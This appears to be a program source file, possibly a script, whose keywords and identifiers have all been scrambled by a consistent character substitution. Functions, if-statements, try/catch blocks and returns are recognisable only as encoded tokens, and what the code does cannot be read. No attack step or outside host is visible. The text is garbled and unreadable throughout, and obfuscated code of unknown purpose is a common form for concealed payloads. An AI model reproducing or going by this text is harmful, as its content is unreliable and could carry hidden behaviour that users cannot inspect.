 Z][@GN 				YEN@[@]M ####	@O				YEN@[@]M		 						R#JFG]@G\L###		T#	][P	R#		QY@PYLE				_]MNF_JYEN@[@]M					AGDPK]KvZQOEZ			^GMPOCF@_HSL		QQ 						O\GJ]@FG				]_]YAEMZK 				R#		]CvLEQ@v								iSPDBZLLFM] ]_]YAEMZK	][\L #			[L]\[G	@N[KMFGKOJZ ]CvLEQ@v 							@ZZL]]CvLEQ@vr@N[KMFGKOJZ t #				T #@O			QY@PYLE			OHEZL 			R#				JFG]@G\L#T#XNGNB]BEHL\GA					iKKAEPBMEYMGE QY@PYLE		][\L #				@O						SPDBZLLFM] XNGNB]BEHL\GA 					UU			@ZZL]XNGNB]BEHL\GArKKAEPBMEYMGE t 		UU			KKAEPBMEYMGE XNGNB]BEHL\GArKKAEPBMEYMGE t  					R#	JFG]@G\L#	T#		#	P]ZXOA				XNGNB]BEHL\GAr@N[KMFGKOJZ t####@O		@^v_XSYHPXKSN P]ZXOA		KKAEPBMEYMGE  		 			R#	HE@HZHGHEPSL	Z\KZJ[@KL[	OF[	~y	z@]L	lM@]F[##	P]ZXOA					@^v_XSYHPXKSN P]ZXOA		 ####						T#				#	PEGPGBDA			iSPDBZLLFM] P]ZXOA #		@O			PEGPGBDA			OHEZL				UU			@^v_XSYHPXKSN PEGPGBDA 										  			R#	JFG]@G\L#		T#		#							H[SJFPHBMLA				QQK #		OACJQY[QE					KKAEPBMEYMGE PEGPGBDArH[SJFPHBMLAt #			^HAvP]\PF^ZZ]					SPDBZLLFM] PEGPGBDA		H[SJFPHBMLA						OACJQY[QE #		@O					@^v_XSYHPXKSN ^HAvP]\PF^ZZ] 		UU	@^v_XSYHPXKSN ^HAvP]\PF^ZZ] 						QQ  	R#				JFG]@G\L#T#						#	AP_OFvC@KY[YF										SPDBZLLFM] ^HAvP]\PF^ZZ]rt ##@O	AP_OFvC@KY[YF						UU	@N[KMFGKOJZ ^HAvP]\PF^ZZ] 				AP_OFvC@KY[YF		 				R##JFG]@G\L###T###		#		ZQHK_G			@^v_XSYHPXKSN ^HAvP]\PF^ZZ]		AP_OFvC@KY[YF ####	XXMZA[SvX				KKAEPBMEYMGE ^HAvP]\PF^ZZ]								AP_OFvC@KY[YF #					@O			@^v_XSYHPXKSN ZQHK_G 		UU						SPDBZLLFM] XXMZA[SvX  				R#				JFG]@G\L#	T##	DPBYYL]G					SSZXS^KZAAPQLL@vXXMZA[SvX	ZQHK_G ###@O			@N[KMFGKOJZ DPBYYL]G 			UU		KKAEPBMEYMGE DPBYYL]G 						 	R#					FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 			KKAEPBMEYMGE  #JFG]@G\L#T#	#			B]vLJZKE				KKAEPBMEYMGE DPBYYL]Grt ####@O				B]vLJZKE							UU				SPDBZLLFM] DPBYYL]G 											B]vLJZKE 	R#			FBQKvM[JB\ZMHPE\@N[KMFGKOJZ 						KKAEPBMEYMGE  #							JFG]@G\L#		T#					#	OXJ\XMBMMAD			@N[KMFGKOJZ DPBYYL]G				B]vLJZKE #PXDSF[DJ@FCBHYE						SPDBZLLFM] DPBYYL]G					B]vLJZKE #FOvMA[OL						KKAEPBMEYMGE SPDBZLLFM] @^v_XSYHPXKSN SPDBZLLFM] 	SPDBZLLFM] @N[KMFGKOJZ 			PXDSF[DJ@FCBHYE    #	@O		@N[KMFGKOJZ SPDBZLLFM]   			R####\YMH]LvFY]@FG@N[KMFGKOJZ 			YEN@[@]M #			\YMH]LvFY]@FG@^v_XSYHPXKSN 				KKAEPBMEYMGE uG	FOvMA[OL  #T#			[L]\[G			H[[HP@^v_XSYHPXKSN 						OXJ\XMBMMAD		@N[KMFGKOJZ 						FOvMA[OL #T	JH]JA					}A[F^HKEL	E]GYK]v 				RSHYAAXSEByayvdhcf{vl{z`fgK\MXK]PCOGSHYAAXSEB#			FBQKvM[JB\ZMHPE\SPDBZLLFM] 	E]GYK]v #				JFG]@G\L#		T	JH]JA				lQJLY]@FG	E]GYK]v 				R#	i[LKHEHGJL	DLZZHNLX\L\L##			JFG]@G\L#T#	T#					LZA_B[v				SPDBZLLFM] KKAEPBMEYMGE  				Z][@GN 	NL]vFY]@FG@N[KMFGKOJZ 	 				#		ENP@AMFSLYKQ					AK@\_C^N^\[SGBvvQSPDBZLLFM] 	 #							@O				LZA_B[v												@N[KMFGKOJZ ENP@AMFSLYKQ 							ENP@AMFSLYKQ			 				R#			FOvMA[OL						@N[KMFGKOJZ @^v_XSYHPXKSN SPDBZLLFM] KKAEPBMEYMGE 		@N[KMFGKOJZ @N[KMFGKOJZ 		LZA_B[v    SP[YMKFPEQQJ C]MKPv[SP[YMKFPE#		@O					LDY]PFOvMA[OL  		R####						[L]\[G					H[[HPKKAEPBMEYMGE 					ENP@AMFSLYKQ			@N[KMFGKOJZ 			FOvMA[OL ]NA[NPBBA^SKE]NA[N#		T#						T#			FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 		KKAEPBMEYMGE  ###	[L]\[G	H[[HP #T#	O\GJ]@FG		^QB]AHOGYBQYHZD				M\\KNFB^KC			YH[FPMGXNv[A #R#@O			@^v_XSYHPXKSN SPDBZLLFM]   		R#			[L]\[G		OHEZL###	T#			QAQDFGS_^NXD[					SPDBZLLFM] M\\KNFB^KC #						DEDvCXXYDP@\				SPDBZLLFM] KKAEPBMEYMGE 		   #SKY]YQ\@K								#				OF[			]B_XAL@								SFP[^DPQ]			SPDBZLLFM] QAQDFGS_^NXD[ 	]B_XAL@						SFP[^DPQ]	]B_XAL@ 			R#			SKY]YQ\@K					@N[KMFGKOJZ @^v_XSYHPXKSN QAQDFGS_^NXD[r]B_XAL@t 				w				@N[KMFGKOJZ DEDvCXXYDP@\  #	T#			[L]\[G				\YMH]LvFY]@FGGYBQYHZD		KKAEPBMEYMGE DEDvCXXYDP@\			SKY]YQ\@K 					YH[FPMGXNv[A 						OHEZL##	T#	#						O\GJ]@FG		HA@ZOGv_MX[HB_Q\GYBQYHZD		G_GB@vvK #		R#	@O			@N[KMFGKOJZ @N[KMFGKOJZ   		[L]\[G	G_GB@vvK#			]SJDOFYCMB						NL]vFY]@FGGYBQYHZD		 #				@O		]SJDOFYCMB						UU							@N[KMFGKOJZ ]SJDOFYCMB  	R#	[L]\[G				G_GB@vvK#					T###MPQ\BCP@DBZ					iKKAEPBMEYMGE ]SJDOFYCMB		][\L #					@O			MPQ\BCP@DBZ		OHEZL				UU	SPDBZLLFM] MPQ\BCP@DBZ 			 				R##		[L]\[G	G_GB@vvK#	T#					DEDvCXXYDP@\								MPQ\BCP@DBZrt#	Z[O_NCKMCCKL							#		OF[				]B_XAL@					SFP[^DPQ]		@^v_XSYHPXKSN MPQ\BCP@DBZ 	]B_XAL@		SFP[^DPQ]		]B_XAL@ 	R#							Z[O_NCKMCCKL			@N[KMFGKOJZ @^v_XSYHPXKSN MPQ\BCP@DBZr]B_XAL@t 		w		SPDBZLLFM] DEDvCXXYDP@\  ##T#				]MCS@DLPNC								_DvHZH]JX\HZ[O_NCKMCCKL #	[L]\[G		]MCS@DLPNC					OHEZL				]MCS@DLPNC				G_GB@vvK##T###					O\GJ]@FG		_DvHZH]JX\H^HAvP]\PF^ZZ] ##	R#	@O						KKAEPBMEYMGE ^HAvP]\PF^ZZ]  	[L]\[G			OHEZL#		@O			MLO@GLMSPDBZLLFM]  						yayvl{z`fgv`m			  		R^S@][Q@Gyayv`g}vdhqyayv`g}vdhqAGNMGS_Q^S@][Q@G#[L]\[G				i@N[KMFGKOJZ ^HAvP]\PF^ZZ]				H[[HPKKAEPBMEYMGE 				OHEZL  ####					T###				[L]\[G	iSPDBZLLFM] ^HAvP]\PF^ZZ] #				T#O\GJ]@FG		GZ@JEONSS[QZBA ####						R#	Z]H]@J		L\vO][CK					G\EE#		@O	L\vO][CK				G\EE 		[L]\[G		L\vO][CK#				OEKOHSDG@[F				MLO@GLM@^v_XSYHPXKSN  		hkzyh}a						#	L\vO][CK			SPDBZLLFM] @^v_XSYHPXKSN uu						OEKOHSDG@[F 				 										##					[L]\[G	L\vO][CK####	T###		O\GJ]@FG	L_LYNP^vZHQF\\FGYBQYHZD #	R#							[L]\[G			FZLYYKLLEQ[\AGZ@JEONSS[QZBA 						Z][@GN 	Y[CQSEMDC_ 			GYBQYHZD						  #					T#	O\GJ]@FG		^vGQONZLKGDBvB[DP^QLPDv[FCQ #R##	[L]\[G			Z][@GN 	 						@G] 			ALQMLJSPDBZLLFM] SPDBZLLFM] GZ@JEONSS[QZBA 					KKAEPBMEYMGE 				B[DP^QLPDv[FCQ 		QQ   		   ##T#	O\GJ]@FG		E^^EC^_OM #R#							[L]\[G			^vGQONZLKGDBvKKAEPBMEYMGE  #			T#		O\GJ]@FG	H^SKX[@GYM_KEMSB #	R#			LPQHXEYOBYO^					Z][@GN 		AK@\_C^N^\[SGBvvQSPDBZLLFM] 	 #[L]\[G			@^v_XSYHPXKSN LPQHXEYOBYO^ 							 									SPDBZLLFM] LPQHXEYOBYO^	E^^EC^_OM  				OHEZL					SPDBZLLFM] Z][@GN 	AK@\_C^N^\[SGBvvQ@N[KMFGKOJZ 	  				QLQ #			T#	#	O\GJ]@FG	AK@\_C^N^\[SGBvvQGYBQYHZD		G_GB@vvK #						R#	iDLM@H]L	J@YAL[Z\@]L##	[L]\[G	HA@ZOGv_MX[HB_Q\L_LYNP^vZHQF\\FGYBQYHZD 		G_GB@vvK #		T#						O\GJ]@FG						FMQHASYASG@vGYBQYHZD	G_GB@vvK		 #			R#					_BvQP[N^E				AK@\_C^N^\[SGBvvQGYBQYHZD		G_GB@vvK #				@O		SPDBZLLFM] _BvQP[N^E  		[L]\[G	_BvQP[N^E#@O						@N[KMFGKOJZ _BvQP[N^E  	[L]\[G		Z][@GN 						_BvQP[N^E#				[L]\[G		G_GB@vvK#T###		O\GJ]@FG			CSvEESS]PSH[M^GBD_GYBQYHZD	M\\KNFB^KC		YH[FPMGXNv[A #		R#			^QB]AHOL_LYNP^vZHQF\\FGYBQYHZD 					M\\KNFB^KC	YH[FPMGXNv[A ###		T#O\GJ]@FG					NX[M]GZAG[S]NEDLQ #	R#HBGF]vDOQLN								@ZZL]nefkhezrKKAEPBMEYMGE t 						nefkhezrSPDBZLLFM] t			H[[HP #	]SJDOFYCMB				AK@\_C^N^\[SGBvvQKKAEPBMEYMGE 		H[[HP  #@O	SPDBZLLFM] ]SJDOFYCMB  	R#			HBGF]vDOQLN						KKAEPBMEYMGE ]SJDOFYCMB				HBGF]vDOQLN #		T#	HBGF]vDOQLN						@^v_XSYHPXKSN HBGF]vDOQLN #			[L]\[G	@^v_XSYHPXKSN HBGF]vDOQLN				QQ  #T####				O\GJ]@FG		AZM\NXNG@DYLFQZ #				R#	~y	e@Z]	kEFJB	O@Q\Y	HEEFJH]F[##		@O			@ZZL]nefkhezr@N[KMFGKOJZ t 		UU				LDY]PnefkhezrKKAEPBMEYMGE t  			[L]\[G#			][P		R#]SJDOFYCMB					AK@\_C^N^\[SGBvvQKKAEPBMEYMGE 		H[[HP  #		QH_LOQCG		KKAEPBMEYMGE KKAEPBMEYMGE H[[HP ]SJDOFYCMB	nefkhezr@N[KMFGKOJZ t  #QH_LOQCG			KKAEPBMEYMGE QH_LOQCG			  #				CSvEESS]PSH[M^GBD_KKAEPBMEYMGE 	QH_LOQCG	@^v_XSYHPXKSN  ###			T				JH]JA				}A[F^HKEL	E]GYK]v 				RSK\AZGZ[J_]SZSK\AZGZ#		FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 		E]GYK]v #	T		JH]JA	lQJLY]@FG				E]GYK]v 		R####T#T#				#							O\GJ]@FG	SSZXS^KZAAPQLL@v^HAvP]\PF^ZZ]	BLP ##R#			@O								@N[KMFGKOJZ ^HAvP]\PF^ZZ] 			UU						@^v_XSYHPXKSN BLP 	UU			SPDBZLLFM] BLP 			 			R#	[L]\[G				G\EE##T#							@EAPNYJGGMP									SPDBZLLFM] ^HAvP]\PF^ZZ] ####	^E[JGZGCJ@					@^v_XSYHPXKSN BLP #			[@SJ_CSFAXGMQvQ			#					OF[						]B_XAL@				]B_XAL@						@EAPNYJGGMP			]B_XAL@ 	R#	[@SJ_CSFAXGMQvQ		@N[KMFGKOJZ @N[KMFGKOJZ ^HAvP]\PF^ZZ]r]B_XAL@t 		w	SPDBZLLFM] BLPr]B_XAL@											^E[JGZGCJ@t  #T#	[L]\[G	[@SJ_CSFAXGMQvQ##T#				#		O\GJ]@FG		XC@H]OF[K[]SC@ALZBXHEL@[O ##		R##				@O					KKAEPBMEYMGE BXHEL@[O  					R#						BXHEL@[O						H[[HP #T#			vDKYZJJXGM					ALQFXB@G@^X #HB^CCNENYYND				@N[KMFGKOJZ @^v_XSYHPXKSN  						HA@ZOGv_MX[HB_Q\SPDBZLLFM] 	OHEZL 										OHEZL####					@O		KKAEPBMEYMGE HB^CCNENYYND 						@ZZL]HB^CCNENYYNDr@^v_XSYHPXKSN t 			@G] 		HB^CCNENYYNDr@^v_XSYHPXKSN t				 					@G] 					HB^CCNENYYNDrKKAEPBMEYMGE t			  				vDKYZJJXGM		@G] 	HB^CCNENYYNDrKKAEPBMEYMGE t#		@O			vDKYZJJXGM							  	R#		vDKYZJJXGM			QQMJ ##				T#				BXHEL@[Or@^v_XSYHPXKSN t					H[[HP#	@N[KMFGKOJZ 							vDKYZJJXGM#SPDBZLLFM] 				@^v_XSYHPXKSN # #	BXHEL@[Or@N[KMFGKOJZ t							H[[HP#			@^v_XSYHPXKSN 						 #					KKAEPBMEYMGE 									KKAEPBMEYMGE #	 ##				[L]\[G		BXHEL@[O#T#	#			O\GJ]@FG			QQ]PDLN_JDDEKF_F #R#@O	@^v_XSYHPXKSN @^v_XSYHPXKSN  		UU						@N[KMFGKOJZ @N[KMFGKOJZ   					[L]\[G#@O		JD@CQMEODG^SPDBZLLFM]   				[L]\[G#						][P		R#	@O		^YvGLQ]vZJALM\ELMSG^DSX^[_L   			R#	~y	z@]L	lM@]F[	Y[LLDY]	F[JALZ][H]F[##					^YvZJALM\ELvL_LG]SPDBZLLFM]  								KKAEPBMEYMGE w 	  					@^v_XSYHPXKSN 			SG^DSX^[_L  #	T#			T			O@GHEEP		R#	~y	lDKLM	kEFJB	KH]JA	DLDLG]F#####NZADHFK@PJ[KKAEPBMEYMGE  #		##			T#	T#			#			O\GJ]@FG	YJNSJXYOJB[QZCM #				R##				###	@O		MLO@GLMKKAEPBMEYMGE  					mf`gnvj{fg 		R#					[L]\[G#						T###		###						Z]H]@J				B^PKH[			OHEZL#				@O				B^PKH[ 		[L]\[G#	B^PKH[			][\L####				#							@O							YKSSvB[HE_\G]CAPF  	R#					[L]\[G#				T#	~y	j\Z]FD	e@GB	@G_L[]@KEL	]FBLGK\JBL]####	NPBEZ_MS\_BKSPDBZLLFM] 		@N[KMFGKOJZ 	 #T####				O\GJ]@FG	JM\[XDQ\JY]BFNKE #R#	@O					KKAEPBMEYMGE @^v_XSYHPXKSN  			UU		SPDBZLLFM] KKAEPBMEYMGE   			[L]\[G####	i@N[KMFGKOJZ Z@]Lv\[E@N[KMFGKOJZ 			@N[KMFGKOJZ 						Z][@GN 	@^v_XSYHPXKSN ][\L  					KKAEPBMEYMGE QQ 	   		H[[HP@N[KMFGKOJZ 													KKAEPBMEYMGE 							OHEZL		SPDBZLLFM] 				OHEZL  ####			T###		O\GJ]@FG				ZMCXPMKO@BNQA #			R#		Z]H]@J			G]\BPQ						OHEZL#	@O		G]\BPQ 					[L]\[G#	G]\BPQ							][\L#	][P		R#			SAJSCGA_^O						OHEZL#				@O	KKAEPBMEYMGE @^v_XSYHPXKSN   	R#		@^v_XSYHPXKSN  #SAJSCGA_^O										][\L#	T					LEZL@O		@N[KMFGKOJZ KKAEPBMEYMGE   		R#	SPDBZLLFM]  #			SAJSCGA_^O							][\L###			T				LEZL				R#			@O		@N[KMFGKOJZ @^v_XSYHPXKSN   	R#i@^v_XSYHPXKSN ][\L #						T#FPQK]N]ASA]P[v				@^v_XSYHPXKSN @^v_XSYHPXKSN  							iKKAEPBMEYMGE @N[KMFGKOJZ  #@O				ALHML[ZvZLG] 							FPQK]N]ASA]P[v		@N[KMFGKOJZ  												SPDBZLLFM] @^v_XSYHPXKSN   			R#		vJE			iFKvNL]vELGN]A ##				@O		vJE					OHEZL									vJE						 			R####		iALHML[@N[KMFGKOJZ 					vJE #						iALHML[KKAEPBMEYMGE  #	T###				T#			@O	@^v_XSYHPXKSN   	R###	i@^v_XSYHPXKSN  #						##			T#	iKKAEPBMEYMGE  #						T###					P_XCZQM]Y								KKAEPBMEYMGE SPDBZLLFM]  						MLO@GLMKKAEPBMEYMGE  				m`zhkelv~yvj{fg #					NPOEHJ]ONC				@N[KMFGKOJZ @N[KMFGKOJZ  			UU				@G] 			NL]vFY]@FGKKAEPBMEYMGE 		 			#		@O		NPOEHJ]ONC					KKAEPBMEYMGE @N[KMFGKOJZ  						KKAEPBMEYMGE @N[KMFGKOJZ   			R##P[vFLHJ					Z][@GN 		NL]vFY]@FG@N[KMFGKOJZ 						 ####@O			P[vFLHJ					^NKBHS]S^NFHGH^O]  			R#	JEFYLG	HOO@GL]PYL	##					i\YMH]LvFY]@FGKKAEPBMEYMGE 		^NKBHS]S^NFHGH^O] 		SPDBZLLFM]  #					i\YMH]LvFY]@FG@^v_XSYHPXKSN 					SPDBZLLFM]  #	NPOEHJ]ONC						][\L#					T#	T#					D_JBDD]B^XD_					OHEZL#			@O		P_XCZQM]Y					SPDBZLLFM] @^v_XSYHPXKSN   		R#BBG[PQZOEXXK										^YvGLQ]vZJALM\ELMSG^DSX^[_L  #		@O	BBG[PQZOEXXK					KKAEPBMEYMGE  					@G] 	BBG[PQZOEXXK 				  						R#							D_JBDD]B^XD_					][\L#		@O				SPDBZLLFM] @N[KMFGKOJZ   						i^Yv\GZJALM\ELvL_LG]@G] 			BBG[PQZOEXXK		SG^DSX^[_L  #	T#		T#@O		P_XCZQM]Y							NPOEHJ]ONC								D_JBDD]B^XD_ 	R#		HLZ^AGOMF[YA			@^v_XSYHPXKSN @^v_XSYHPXKSN  									@G] 	^YvGLQ]vZJALM\ELMSG^DSX^[_L  				#		@O				HLZ^AGOMF[YA								UU		HLZ^AGOMF[YA									SPDBZLLFM]  				  				R#		i^YvZJALM\ELvZ@GNELvL_LG]@^v_XSYHPXKSN  			SG^DSX^[_L  #			##						T##	HDMJNEDFBOMD@vKGK #						[L]\[G#	T#				@O			D_JBDD]B^XD_ 	FBQKvM[JB\ZMHPE\@N[KMFGKOJZ 	@^v_XSYHPXKSN  ####		@O				SAJSCGA_^O 	R#		@O			P_XCZQM]Y 	i^YvZJALM\ELvZ@GNELvL_LG]KKAEPBMEYMGE  		SG^DSX^[_L  #	JM\[XDQ\JY]BFNKE #	HDMJNEDFBOMD@vKGK ##	[L]\[G#	T#		@O		SPDBZLLFM] KKAEPBMEYMGE   			iKKAEPBMEYMGE   ###					\[DK^E^^XY #T		JH]JA	}A[F^HKEL				E]GYK]v 	R#				FBQKvM[JB\ZMHPE\@N[KMFGKOJZ 			E]GYK]v #T		JH]JA				lQJLY]@FG		E]GYK]v 	R#	T#T##	O\GJ]@FG		QBGSPC]MHZPJ #						R#][P				R#				@O			@N[KMFGKOJZ @^v_XSYHPXKSN   		R#	[L]\[GDJ\LOSyayv`g}vdhqyayv`g}vdhqKvXLDHDJ\LOS#							T##vKZS\^DB						SPDBZLLFM] @N[KMFGKOJZ  						NL]v][HGZ@LG]HZZ[vN@S@BZX  						OHEZL#	@O					SPDBZLLFM] vKZS\^DB  		vKZS\^DB					HA@ZOGv_MX[HB_Q\KKAEPBMEYMGE 			OHEZL #@O					@^v_XSYHPXKSN vKZS\^DB  			R#	[L]\[G###				T#	#						@O		@ZZL]vKZS\^DBr@N[KMFGKOJZ t 							SPDBZLLFM] vKZS\^DBrKKAEPBMEYMGE t  				R#	Z]H]@JHMC	DLZZHNLX\L\L	##			nefkhezr@^v_XSYHPXKSN t				SMMMSODOSM@PNPvKZS\^DBr@^v_XSYHPXKSN t #	T#	#@O		@ZZL]vKZS\^DBrKKAEPBMEYMGE t 									KKAEPBMEYMGE vKZS\^DBrKKAEPBMEYMGE t  			R####			nefkhezr@N[KMFGKOJZ t						SMMMSODOSM@PNPvKZS\^DBrKKAEPBMEYMGE t #T#	#					@O						@ZZL]vKZS\^DBrSPDBZLLFM] t 						SPDBZLLFM] vKZS\^DBr@N[KMFGKOJZ t  		R#			nefkhezrKKAEPBMEYMGE t			vKZS\^DBrKKAEPBMEYMGE t#	@GJ[LDLG]HE	JFDYFZ@]L##					T#	@O		@ZZL]vKZS\^DBr@N[KMFGKOJZ t 								SPDBZLLFM] vKZS\^DBr@N[KMFGKOJZ t 				SPDBZLLFM] vKZS\^DBrSPDBZLLFM] t 							QHQ  	R#		nefkhezr@^v_XSYHPXKSN t						vKZS\^DBrSPDBZLLFM] t###					T#	ZJALM\EL	GLNF]@H]F[	OF[	yay		O@KL[Z###	@O					@ZZL]vKZS\^DBrKKAEPBMEYMGE t 										KKAEPBMEYMGE vKZS\^DBrSPDBZLLFM] t 		@N[KMFGKOJZ vKZS\^DBr@N[KMFGKOJZ t 							  	R#		nefkhezr@^v_XSYHPXKSN t						vKZS\^DBr@^v_XSYHPXKSN tGJS^DGHQPQDOEZGJS^DG#	T#		T		JH]JA		}A[F^HKEL			E]GYK]v 						R#		FBQKvM[JB\ZMHPE\SPDBZLLFM] 				E]GYK]v #					T	JH]JA						lQJLY]@FG			E]GYK]v 		R####	T#		T#					#				O\GJ]@FG					HMCHCvCJPvNA_G[L] #		R#	][P	R#					@O		KKAEPBMEYMGE SPDBZLLFM]  		UU		SPDBZLLFM] @N[KMFGKOJZ   		[L]\[G###		@O		@G] 	NL]vFY]@FGSPDBZLLFM] 		 				@N[KMFGKOJZ  					  		[L]\[G#		@O		@^v_XSYHPXKSN @N[KMFGKOJZ  						NL]v][HGZ@LG]@N[KMFGKOJZ   	[L]\[G###LBASAMHQ\YA@								AK@\_C^N^\[SGBvvQ@^v_XSYHPXKSN 		 #@O		KKAEPBMEYMGE LBASAMHQ\YA@ 		UU		@N[KMFGKOJZ LBASAMHQ\YA@ 						 			UU	K[N[JPDKAX]LSLBASAMHQ\YA@ 					UU		_SMG[M@XJvKJSK\LBASAMHQ\YA@  	R]FJ]S^EJ_[KMES]FJ]S#LBASAMHQ\YA@			OHEZL#	L[GHJM^\KD		i@^v_XSYHPXKSN [ZKLSD_  ###		@O				L[GHJM^\KD				L[GHJM^\KD		 				L[GHJM^\KD								  					RFGv\ECYAJyayv`g}vdhqyayv`g}vdhqCZP]NBZP@FGv\ECYAJ#	Y\HB]^DDBDBLK						iSPDBZLLFM] [ZKLSD_  #				@O			@^v_XSYHPXKSN Y\HB]^DDBDBLK 				@N[KMFGKOJZ Y\HB]^DDBDBLK 					  		Y\HB]^DDBDBLK						C^v@Z@\@ACBCLY\HB]^DDBDBLK #@O		KKAEPBMEYMGE Y\HB]^DDBDBLK 						K[N[JPDKAX]LSY\HB]^DDBDBLK 								_SMG[M@XJvKJSK\Y\HB]^DDBDBLK  			R#	dLDJHJALM	HMHY]L[	Z@GN\EH[	E@GLH[]PYL##	CSvEESS]PSH[M^GBD_@^v_XSYHPXKSN 			Y\HB]^DDBDBLK		@N[KMFGKOJZ  #		LBASAMHQ\YA@				Y\HB]^DDBDBLK#	T#			T###@O		LBASAMHQ\YA@ 	RQ\AASAZ_Yyayvdhcf{vl{z`fgvB_EBMYQ\AASAZ_Y#					i\YMH]LvFY]@FG@^v_XSYHPXKSN 					SPDBZLLFM]  			SPDBZLLFM]  ###[L]\[G####				T##					T#	XMA_P]H						H[[HP[ZKLSD_  #				SLNBE_^K@P							\vJHFGLF__PBZFA]G #		M@@L\F					\Z\AGLAZAHZXB\SLNBE_^K@P CKLDN\CCKQMQ v@GAAFEJvCKLDN\CCK#			@O				SPDBZLLFM] M@@L\F  		R##OF[LHJA				M@@L\F	HZ	DAGQ[H 	R#					@O		SPDBZLLFM] DAGQ[H				  										KKAEPBMEYMGE  			XMA_P]Hrt								SLNBE_^K@P											DAGQ[H#			T###		T#			@O	MLO@GLMKKAEPBMEYMGE  				SPDBZLLFM] KKAEPBMEYMGE   		R#OF[LHJA			H[[HP 						iKKAEPBMEYMGE ~yvye|n`gvm`{				@^v_XSYHPXKSN  	HZ					PSA]DNAZDKHP 		XMA_P]Hrt		PSA]DNAZDKHP###				T####	XMA_P]H						@^v_XSYHPXKSN XMA_P]H #		SJL^DA\MM			H[[HP ###MvBvLN\						KKAEPBMEYMGE KKAEPBMEYMGE SPDBZLLFM] 					@^v_XSYHPXKSN LBASAMHQ\YA@					   						QQKM  #		OF[LHJA			XMA_P]H			HZ		OEKOHSDG@[F 	R#		AADEEDPN]]LF						i@^v_XSYHPXKSN OEKOHSDG@[F ###@O	AADEEDPN]]LF					UU				AADEEDPN]]LF		  	JFG]@G\L#LQB^]JSDMHY			iKKAEPBMEYMGE OEKOHSDG@[F		OHEZL		G\EE									  #					@O		@^v_XSYHPXKSN LQB^]JSDMHY 			UU		K[N[JPDKAX]LSLQB^]JSDMHY  	JFG]@G\L#								@O					OEKOHSDG@[F				[ZKLSD_ 						@^v_XSYHPXKSN @^v_XSYHPXKSN SPDBZLLFM] 		LQB^]JSDMHY 			  					MvBvLN\ 			JFG]@G\L#						SJL^DA\MMrt						OEKOHSDG@[F#T#			@O	SJL^DA\MM 				R#@O			SPDBZLLFM] @^v_XSYHPXKSN   				ZL]v][HGZ@LG]@^v_XSYHPXKSN 							  #	[L]\[G#	T#	i\YMH]LvFY]@FGSPDBZLLFM] 			SPDBZLLFM]  		SPDBZLLFM]  #	OF[LHJA	SJL^DA\MM			HZ	MLXDFHODDKY 			R#				XX]L[vEYC^\OZSZ_@JLMLXDFHODDKY	QQ  #		@O				ZKXOKS\JGG_ZQC@QYMLXDFHODDKY	]ODXFFOB\PHLBFG^LBASAMHQ\YA@   	R#GKGGQEFO\QBQGEPMLXDFHODDKY #			LCEBMJ]BEMLXDFHODDKY M_FJQyayv`g}vdhqyayv`g}vdhqJLCXCPH_[O[MLM_FJQ#			XX]L[vEYC^\OZSZ_@JLMLXDFHODDKY		  #						EHOBPA]OAvHMLXDFHODDKY #@O				MLXDFHODDKY			[ZKLSD_  			R####	LSQQPGQ_@[D^][\L #				Q]H[ENCXS]X^Z@]][\L #								T#		T		LEZL	R#XX]L[vEYC^\OZSZ_@JLMLXDFHODDKY	  ###		T#T#	T	JH]JA				}A[F^HKEL	E]GYK]v 				RKQDJH]BOJUJJ[JDPGKQDJH]BOJw###						FBQKvM[JB\ZMHPE\@N[KMFGKOJZ 		E]GYK]v #T				JH]JA		lQJLY]@FG					E]GYK]v 		R#			T##	T#O\GJ]@FG			@SC@A[E]E_M ##		R#						Z]H]@J					B^PKH[		OHEZL#	@O	B^PKH[ 	[L]\[G#		B^PKH[						][\L#	][P		R#					GPM@[^BD]^^FNM\]] ###			HMCHCvCJPvNA_G[L] ####	Q]H@CDP^J^SMFZ ####QBGSPC]MHZPJ ####	QQ]PDLN_JDDEKF_F #	SENDYMJ\^^CSHFB] #ECC[HKED^G[NEKXK #		EBO_KJ@NXJJJZ #					CPOBPSMQCNL[Y #						@O		YKSSvB[HE_\G]CAPF  			R#		@O		KKAEPBMEYMGE KKAEPBMEYMGE  					M@MvHJ]@FG@^v_XSYHPXKSN   		R#				@O	@^v_XSYHPXKSN KKAEPBMEYMGE   		KKAEPBMEYMGE KKAEPBMEYMGE  #		T	LEZL			R#			NPBEZ_MS\_BK@N[KMFGKOJZ 				KKAEPBMEYMGE 				 #					T#	T##			T	JH]JA			}A[F^HKEL		E]GYK]v 	RCYDHQDGY^^_yayv`g}vdhqyayv`g}vdhqKHAZ]YFBLCYDHQDGY^^_####T		JH]JA			lQJLY]@FG				E]GYK]v 						R#			T#T#	O\GJ]@FG	HDMJNEDFBOMD@vKGK #				R##][P		R#@O				SPDBZLLFM] SPDBZLLFM]  					UU	KKAEPBMEYMGE @N[KMFGKOJZ   				[L]\[G#	@O	KKAEPBMEYMGE @N[KMFGKOJZ  				UU				@^v_XSYHPXKSN KKAEPBMEYMGE   		[L]\[G#	KXM_X^QZCF\LE			@^v_XSYHPXKSN  #			@O				KXM_X^QZCF\LE								@G] 		iNL]vFY]@FGKKAEPBMEYMGE 	 							  	[L]\[G#								i\YMH]LvFY]@FGSPDBZLLFM] 	KXM_X^QZCF\LE	@N[KMFGKOJZ  ###iSPDBZLLFM] AFDLv\[E 		H[[HP@^v_XSYHPXKSN 										SPDBZLLFM] 						OHEZL			@^v_XSYHPXKSN 					OHEZL  ##T		JH]JA		}A[F^HKEL			E]GYK]v 	R##	T	JH]JA		lQJLY]@FG	E]GYK]v 		R#	T#	[F]H]L	X\F]@LG]	OF[	~y	L[ZL	kEFJB##			T###			O\GJ]@FG	YKSSvB[HE_\G]CAPF #	R#			@O			@N[KMFGKOJZ KKAEPBMEYMGE   		R#				[L]\[G	][\L#		T##			@O	@N[KMFGKOJZ KKAEPBMEYMGE  					NL]v][HGZ@LG]HZZ[vN@S@BZX   			R###				[L]\[G			OHEZLO]CQ_NMQyayvdhcf{vl{z`fgPFLSCXY@vSO]CQ_NMQ#			T#					#	[DXQX_G@MCSSB				ALQFXB@G@^X #						HB^CCNENYYND			HA@ZOGv_MX[HB_Q\@N[KMFGKOJZ 				OHEZL #		@O				@^v_XSYHPXKSN HB^CCNENYYND 					@ZZL]HB^CCNENYYNDr@N[KMFGKOJZ t 								@G] 			HB^CCNENYYNDr@N[KMFGKOJZ t						 		@G] 			HB^CCNENYYNDrKKAEPBMEYMGE t					  			[DXQX_G@MCSSB										@G] 				HB^CCNEN